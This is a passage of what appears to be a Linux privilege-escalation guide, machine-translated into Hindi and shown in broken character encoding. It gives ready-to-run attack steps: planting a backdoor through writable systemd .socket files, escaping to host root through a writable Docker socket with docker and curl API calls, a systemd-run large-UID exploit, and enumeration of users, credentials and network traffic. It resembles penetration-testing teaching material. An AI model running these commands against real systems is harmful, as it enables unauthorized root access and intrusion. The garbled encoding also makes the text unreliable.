рдЫреЛрдбрд╝рдХрд░ред (рдКрдкрд░ рджреЗрдЦреЗрдВред) рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╕рдХреНрд░рд┐рдп рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдЗрдХрд╛рдИ рдХрд╛ рдирд╛рдо рдФрд░ рдЯрд╛рдЗрдорд░ рдЗрдХрд╛рдИ рдХрд╛ рдЗрдХрд╛рдИ рдирд╛рдо рд╕рдорд╛рди рд╣реЛ, рд╕реВрдлрд╝рд┐рдХреНрд╕ рдХреЛ рдЫреЛрдбрд╝рдХрд░ред

рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

  • рдХреБрдЫ рд╕рд┐рд╕реНрдЯрдордб рдЗрдХрд╛рдИ (рдЬреИрд╕реЗ .service) рдвреВрдВрдвреЗрдВ рдЬреЛ рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдмрд╛рдЗрдирд░реА рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИ

  • рдХреБрдЫ рд╕рд┐рд╕реНрдЯрдордб рдЗрдХрд╛рдИ рдвреВрдВрдвреЗрдВ рдЬреЛ рдПрдХ рд╕рд╛рдкреЗрдХреНрд╖ рдорд╛рд░реНрдЧ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕рд┐рд╕реНрдЯрдордб рдкрд╛рде рдкрд░ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ (рдЙрд╕ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)

рдЯрд╛рдЗрдорд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП man systemd.timer рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рдЯрд╛рдЗрдорд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛

рдЯрд╛рдЗрдорд░ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд░реВрдЯ рдЕрдзрд┐рдХрд╛рд░ рдЪрд╛рд╣рд┐рдП рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer тЖТ /lib/systemd/system/backu2.timer.

рдиреЛрдЯ рдХрд░реЗрдВ рдХрд┐ рдЯрд╛рдЗрдорд░ рдХреЛ /etc/systemd/system/<WantedBy_section>.wants/<name>.timer рдкрд░ рдПрдХ symlink рдмрдирд╛рдХрд░ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╕реЙрдХреЗрдЯреНрд╕

Unix рдбреЛрдореЗрди рд╕реЙрдХреЗрдЯреНрд╕ (UDS) рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░ рдореЙрдбрд▓ рдХреЗ рднреАрддрд░ рд╕рдорд╛рди рдпрд╛ рднрд┐рдиреНрди рдорд╢реАрдиреЛрдВ рдкрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдмрдирд╛рддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рдЕрдВрддрд░-рдХрдВрдкреНрдпреВрдЯрд░ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдорд╛рдирдХ Unix рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдпреЗ .socket рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЗрдЯрдЕрдк рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

рд╕реЙрдХреЗрдЯреНрд╕ рдХреЛ .socket рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

man systemd.socket рдХреЗ рд╕рд╛рде рд╕реЙрдХреЗрдЯреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВред рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рднреАрддрд░, рдХрдИ рджрд┐рд▓рдЪрд╕реНрдк рдкреИрд░рд╛рдореАрдЯрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: рдпреЗ рд╡рд┐рдХрд▓реНрдк рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реИрдВ рд▓реЗрдХрд┐рди рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реЙрдХреЗрдЯ рдкрд░ рдХрд╣рд╛рдБ рд╕реБрдиреЗрдЧрд╛ рдЗрд╕реЗ рджрд░реНрд╢рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (AF_UNIX рд╕реЙрдХреЗрдЯ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде, рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП IPv4/6 рдФрд░/рдпрд╛ рдкреЛрд░реНрдЯ рдирдВрдмрд░, рдЖрджрд┐)ред

  • Accept: рдПрдХ рдмреВрд▓рд┐рдпрди рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИред рдпрджрд┐ рд╕рддреНрдп рд╣реИ, рддреЛ рдкреНрд░рддреНрдпреЗрдХ рдЖрдиреЗ рд╡рд╛рд▓реА рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реЗрд╡рд╛ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди рд╕реЙрдХреЗрдЯ рдХреЛ рдЙрд╕реЗ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЭреВрдард╛ рд╣реИ, рддреЛ рд╕рднреА рд╕реБрдирдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдХреЗрдЯ рдЦреБрдж рдХреЛ рд╢реБрд░реВ рдХреА рдЧрдИ рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ рдХреЛ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдХреЗрд╡рд▓ рдПрдХ рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдорд╛рдиреНрдпрддрд╛ рдбреЗрдЯрд╛рдЧреНрд░рд╛рдо рд╕реЙрдХреЗрдЯреНрд╕ рдФрд░ FIFOs рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ рд╕рднреА рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЕрд╡рд╢реНрдп рд╣реА рд╕рдВрднрд╛рд▓рддреА рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЭреВрдард╛ рд╣реИред рдкреНрд░рджрд░реНрд╢рди рдХрд╛рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП, рдпрд╣ рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдирдП рдбреЗрдорди рдХреЛ рдХреЗрд╡рд▓ рдЙрд╕ рддрд░реАрдХреЗ рдореЗрдВ рд▓рд┐рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ Accept=no рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИред

  • ExecStartPre, ExecStartPost: рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд▓реЗрддрд╛ рд╣реИ, рдЬреЛ рд╕реБрдирдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдХреЗрдЯ/FIFOs рдХреЛ рдмрдирд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╛ рдмрд╛рдж рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдХрд╛ рдкрд╣рд▓рд╛ рдЯреЛрдХрди рдПрдХ рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдлрд┐рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рддрд░реНрдХреЛрдВ рдХрд╛ рдЕрдиреБрд╕рд░рдг рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

  • ExecStopPre, ExecStopPost: рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рдЬреЛ рд╕реБрдирдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдХреЗрдЯ/FIFOs рдХреЛ рдмрдВрдж рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╛ рдмрд╛рдж рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рд╣рдЯрд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдХреНрд░рдорд╢рдГред

  • Service: рдЗрдирдХрдорд┐рдВрдЧ рдЯреНрд░реИрдлрд╝рд┐рдХ рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╛рдорд┐рдд рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ рдХреЗрд╡рд▓ Accept=no рд╡рд╛рд▓реЗ рд╕реЙрдХреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рд╣реИред рдЗрд╕рдХрд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╡рд╣ рд╕реЗрд╡рд╛ рд╣реИ рдЬреЛ рд╕реЙрдХреЗрдЯ рдХреЗ рдирд╛рдо рдХреЗ рд╕рдорд╛рди рд╣реИ (рд╕рдлрд╝рд┐рдХреНрд╕ рдХреЛ рдмрджрд▓рдХрд░)ред рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред

рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп .socket рдлрд╝рд╛рдЗрд▓реЗрдВ

рдпрджрд┐ рдЖрдкрдХреЛ рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп .socket рдлрд╝рд╛рдЗрд▓ рдорд┐рд▓рддреА рд╣реИ рддреЛ рдЖрдк [Socket] рдЦрдВрдб рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреБрдЫ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: ExecStartPre=/home/kali/sys/backdoor рдФрд░ рдмреИрдХрдбреЛрд░ рд╕реЙрдХреЗрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╣реИ рдХрд┐ рдорд╢реАрди рдХреЛ рд░рд┐рдмреВрдЯ рд╣реЛрдиреЗ рддрдХ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреА рдкрдбрд╝реЗрдЧреАред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЙрд╕ рд╕реЙрдХреЗрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рддреЛ рдмреИрдХрдбреЛрд░ рдирд╣реАрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛

рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╕реЙрдХреЗрдЯреНрд╕

рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рднреА рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╕реЙрдХреЗрдЯ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рддреЗ рд╣реИрдВ (рдЕрдм рд╣рдо Unix рд╕реЙрдХреЗрдЯреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдФрд░ .socket рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ), рддреЛ рдЖрдк рдЙрд╕ рд╕реЙрдХреЗрдЯ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд╛рдпрдж рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рджреЛрд╖ рдХрд╛ рд╢реЛрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Unix рд╕реЙрдХреЗрдЯреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ

netstat -a -p --unix

рдХрдЪреНрдЪреА рдХрдиреЗрдХреНрд╢рди

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

рд╢реЛрд╖рдг рдЙрджрд╛рд╣рд░рдг:

Socket Command Injection

HTTP рд╕реЙрдХреЗрдЯреНрд╕

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреБрдЫ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реБрдирдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдХреЗрдЯреНрд╕ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (рдореИрдВ .socket рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рдмрд╛рдд рдХрд░ рд░рд╣рд╛ рд╣реВрдБ рдмрд▓реНрдХрд┐ рдпреВрдирд┐рдХреНрд╕ рд╕реЙрдХреЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ). рдЖрдк рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд╕рд╛рде рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдбреЙрдХрд░ рд╕реЙрдХреЗрдЯ

рдбреЙрдХрд░ рд╕реЙрдХреЗрдЯ, рдЬреЛ рдЕрдХреНрд╕рд░ /var/run/docker.sock рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдЗрд╕реЗ root рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ docker рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рд╕реЙрдХреЗрдЯ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рдХреЗ рдкрд╛рд╕ рд╣реЛрдиреЗ рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЙрдиреНрдирддрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИред рдпрд╣рд╛рдБ рдЗрд╕рдХрд╛ рд╡рд┐рд╡рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐рдпрд╛рдБ рдЕрдЧрд░ рдбреЙрдХрд░ CLI рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИред

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

рдбреЙрдХрд░ API рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рдЙрди рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ рдбреЙрдХрд░ CLI рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, рдбреЙрдХрд░ API рдФрд░ curl рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд┐рд░ рднреА рдбреЙрдХрд░ рд╕реЙрдХреЗрдЯ рдХреЛ рдореЛрдбрд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИред

  1. рдбреЙрдХрд░ рдЗрдореЗрдЬреЗрд╕ рдХреА рд╕реВрдЪреА рджреЗрдЦреЗрдВ: рдЙрдкрд▓рдмреНрдз рдЗрдореЗрдЬреЗрд╕ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. рдПрдХ рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдПрдВ: рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ рддрд╛рдХрд┐ рдПрдХ рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рд╣реЛрд╕реНрдЯ рд╕рд┐рд╕реНрдЯрдо рдХреА рд░реВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рддрд╛ рд╣реИред

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

рдирдП рдмрдирд╛рдП рдЧрдП рдХрдВрдЯреЗрдирд░ рдХреЛ рд╢реБрд░реВ рдХрд░реЗрдВ:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. рдХрдВрдЯреЗрдирд░ рд╕реЗ рдЬреБрдбрд╝реЗрдВ: socat рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕рдореЗрдВ рдХрдорд╛рдВрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛред

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

socat рдХрдиреЗрдХреНрд╢рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рд╣реЛрд╕реНрдЯ рдХреА рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд░реВрдЯ рд╕реНрддрд░ рддрдХ рдкрд╣реБрдБрдЪрдХрд░ рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд╕реАрдзреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

рдпрд╣рд╛рдБ рдПрдХ D-Bus рд╕рдВрдЪрд╛рд░ рдХреЛ рдЬрд╛рдВрдЪрдиреЗ рдФрд░ рдЙрд╕рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд░реЗрдВ рд╕реАрдЦреЗрдВ:

D-Bus Enumeration & Command Injection Privilege Escalation

рдиреЗрдЯрд╡рд░реНрдХ

рдорд╢реАрди рдХреА рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рдЬрд╛рдВрдЪрдирд╛ рд╣рдореЗрд╢рд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддрд╛ рд╣реИред

рд╕рд╛рдорд╛рдиреНрдп рдЬрд╛рдВрдЪ

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

рдЦреБрд▓реЗ рдкреЛрд░реНрдЯреНрд╕

рд╣рдореЗрд╢рд╛ рдорд╢реАрди рдкрд░ рдЪрд▓ рд░рд╣реА рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдЬрд┐рдирд╕реЗ рдЖрдк рдкрд╣рд▓реЗ рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рдереЗ:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

рд╕реНрдирд┐рдлрд┐рдВрдЧ

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЯреНрд░реИрдлрд┐рдХ рд╕реНрдирд┐рдл рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХреБрдЫ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкрдХрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред

timeout 1 tcpdump

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛

рд╕рд╛рдорд╛рдиреНрдп рдЧрдгрдирд╛

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдЖрдк рдХреМрди рд╣реИрдВ, рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреМрди рд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХреМрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИрдВ, рдХреМрди рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреМрдирдХреЗ рдкрд╛рд╕ рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

рдмрдбрд╝рд╛ UID

рдХреБрдЫ рд▓рд┐рдирдХреНрд╕ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ рдПрдХ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ UID > INT_MAX рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдореЗрдВ рд╡реГрджреНрдзрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: рдпрд╣рд╛рдБ, рдпрд╣рд╛рдБ рдФрд░ рдпрд╣рд╛рдБред рдЗрд╕реЗ рд╢рд╛рддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: systemd-run -t /bin/bash

рд╕рдореВрд╣

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдп рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

